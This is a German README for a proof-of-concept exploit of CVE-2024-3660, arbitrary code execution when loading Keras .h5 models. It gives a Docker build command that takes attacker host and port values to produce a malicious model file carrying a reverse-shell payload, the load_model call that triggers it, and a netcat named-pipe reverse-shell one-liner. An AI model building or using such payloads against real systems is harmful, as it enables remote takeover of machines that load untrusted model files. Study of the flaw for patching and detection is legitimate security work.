
Ein PoC für CVE-2024-3660. Beliebige Codeausführung in Keras.
CVE-2024-3660 ist eine Schwachstelle zur beliebigen Codeausführung im Keras-Framework von TensorFlow, die Versionen < 2.13 betrifft.
Sie erlaubt es einem Angreifer, Python-Code in ein Modell einzubetten (z. B. über eine Lambda-Schicht), der automatisch ausgeführt wird, wenn das Modell geladen wird.
Wenn eine schädliche .h5-Modelldatei in einer verwundbaren Umgebung geladen wird, werden beliebige Befehle mit denselben Berechtigungen wie der ladende Prozess ausgeführt.
tf.keras.models.load_model("CVE20243660.h5", compile=False)
oder in älteren TensorFlow-Versionen, in denen safe_mode nicht standardmäßig aktiviert ist.
Dieser PoC verwendet einen Docker-basierten Build, um ein schädliches hack.h5-Modell mit einem Reverse-Shell-Payload zu erzeugen.
Wenn das Modell in einer verwundbaren TensorFlow-Version geladen wird, baut es eine Verbindung zum Rechner des Angreifers auf.
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
nc für eine Reverse Shell:rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f